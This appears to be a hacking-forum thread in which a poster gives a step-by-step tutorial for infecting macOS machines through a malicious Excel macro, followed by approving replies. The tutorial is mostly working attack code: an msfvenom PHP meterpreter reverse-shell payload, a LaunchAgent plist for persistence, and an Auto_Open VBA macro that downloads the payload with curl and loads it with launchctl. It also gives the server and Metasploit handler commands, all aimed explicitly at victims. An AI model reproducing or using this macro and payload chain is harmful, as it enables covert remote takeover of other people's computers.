[Dyme]

Well well well... you all probably never expected me to post a tutorial on here ever again right? WELL HERE I AM! Why you may ask? lmao idk I'm currently unemployed and super fucking bored but enough with the questions and get ready for some MAJOR HAX!

Introduction:
As I'm sure most of you are familiar with, Infecting computers via means of Microsoft Office Macros has been around for over a decade now. Typically, however, most documentation on this focuses on windows only and ignores the process of infecting a computer running OSX. The processes is very similar and any decently competent person with the ability to use google could easily accomplish this task, however I thought I would create a step by step guide for those of you who are uncreative or don't feel like spending the time to come up with your own solution. The process and solution that I will be discussing in this thread is by no means the only way to do this, but it does work and can be easily modified to do pretty much whatever you want it to.

What you will need:

• A computer/server to launch the Attack from
  
• A victim running OSX (with Microsoft Office installed of course)
  

Note that I will be using Metasploit's php meterpreter as my payload, so if you're following this tutorial word for word than you will need Metasploit installed on your attack system. However, as I stated previously, this is not required if you will be modifying my code to download and execute your own custom payload.

Step 1: Setting up the Attack server
The first step in pwning OSX via Office Macros is configuring your attack server so that when your macro is run, it is able to download and execute your payload successfully.

The main process of setting up your attack server consists of creating and organizing the files that will be downloaded onto the victim's machine. We will place all of these files into one folder so that they can be easily accessed by the outside world via a web sever.

Now I will describe each of the files that we will be using in order to create a persistent php meterpreter shell on our victims machine.

The first file we have to create is our payload itself, which will be a php meterpreter reverse shell. To do this is very simple:

Code:

msfvenom -p php/meterpreter/reverse_tcp LHOST=your_external_ip LPORT=your_port -o 1 sed -i 's/\(.\{2\}\)//' 1

Now we have our payload saved into a file named '1'. Move this file to an empty directory (which will be the document root for our web server).

Next, we will create a simple bash script that will execute our payload once it's downloaded on the system. Save the following file as '2' and move it into your newly created directory:

Code:

#!/bin/bash php -f ~/.lort/1.php

Finally, we will create a LaunchDaemon configuration file, which will give our payload persistence. If you are unfamilar with LaunchDaemons, you can view them as the OSX and iOS equivalent of Linux cron jobs. They are processes that run periodically on the system, such as during boot or at a specified time each day. Our LaunchDaemon will be set to run our meterpreter payload every 5 seconds once it is loaded. This is an EXTREMELY basic form of persistence and is stealthy in no way at all, however it works, and the average OSX user will have no idea it's even on their system. Save the following file as '3' in the same directory we've been using:

Code:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.lort.app</string> <key>ProgramArguments</key> <array> <string>kodakblack/.lort/2.sh</string> </array> <key>RunAtLoad</key> <true/> <key>StartInterval</key>     <integer>5</integer> </dict> </plist>

*if you're wondering wtf 'kodakblack' is, it is simply a place holder for the user's home directory. We will replace this once the config file is downloaded on the victim's machine.

This concludes the configuration of the attack server. By this stage, you should have a directory that contains the three files above with their appropriate names:

Code:

nancy@dotlinedot:~/help$ ls 1  2  3 nancy@dotlinedot:~/help$

Step 2: Creating Evil Macro and Adding it to a Document
The next step involves adding a custom macro to an Office file that will download and execute our payload. This can be done with any Office file that supports the use of macros, but for this example I will be using excel.

Below is the custom macro I have created that will install our persistent php meterpreter on our victims machine:

Code:

Sub Auto_Open()  Call test End Sub Sub test()  MacScript ("do shell script ""mkdir ~/.lort; curl http://127.0.0.1:8080/1 -o ~/.lort/1.php; curl http://127.0.0.1:8080/2 -o ~/.lort/2.sh; curl http://127.0.0.1:8080/3 -o ~/Library/LaunchAgents/com.lort.plist; chmod +x ~/.lort/2.sh; cd ~/Library/LaunchAgents; sed 's|kodakblack|'$HOME'|g' com.lort.plist > lort2; mv lort2 com.lort.plist; launchctl load com.lort.plist""") End Sub

Those familar with bash can tell what this does pretty easily. The MacScript function along with 'do shell script' allows us to execute shell commands, and then its fair game from there.

If you followed the first part of this tutorial correctly, the only thing you should need to replace is '127.0.0.1:8080' with whatever the ip of your attack system is and the port that the web server will run on. To add this macro to an existing excel file, simply click the 'Developer' tab and then click 'Macros':

Spoiler:

Save your file with the xslm file extension and there you go! Your malicious excel document is ready to spread.

Step 3: Launching the Attack
Our setup is now complete, and we can launch our attack.

On our attack system, we have to start our web server so that our macro can download the files we created earlier. This can be easily done with python's SimpleHTTPServer by running the following in the same directory as our payload files:

Code:

python -m SimpleHTTPServer 8080

Now all that's left to do is listen for our meterpreter shell using metasploit:

Code:

msfconsole -x "use exploit/multi/handler; set payload php/meterpreter/reverse_tcp; set lhost 0.0.0.0; set lport 4444; exploit -j"

And that's it! Now send your excel file to your desired victim and wait for your shell!

What infection looks like on Victim's end:

Spoiler:

What infection looks like on Attacker's end:

Spoiler:

This concludes the tutorial. I hope you all enjoyed reading and following along. Please leave your questions below if you have any problems getting your payload up and running as I would be more than happy to help.

[Bish0pQ]

Very well written tutorial. Really appreciated, a lot of people on this forum were asking for a OSx rat, this might help them out. Keep it up with these tutorials my friend.

[insidious]

Awesome tutorial man, you should post more of these

Imma try this out on a VM, looks like a pretty simple exploit and it would be fun to try out metasploit.

[whatarethechances]

Thanks for this great guide!

[Lucif3rFall3n1]

will it start working without clicking 'Enable Editing'?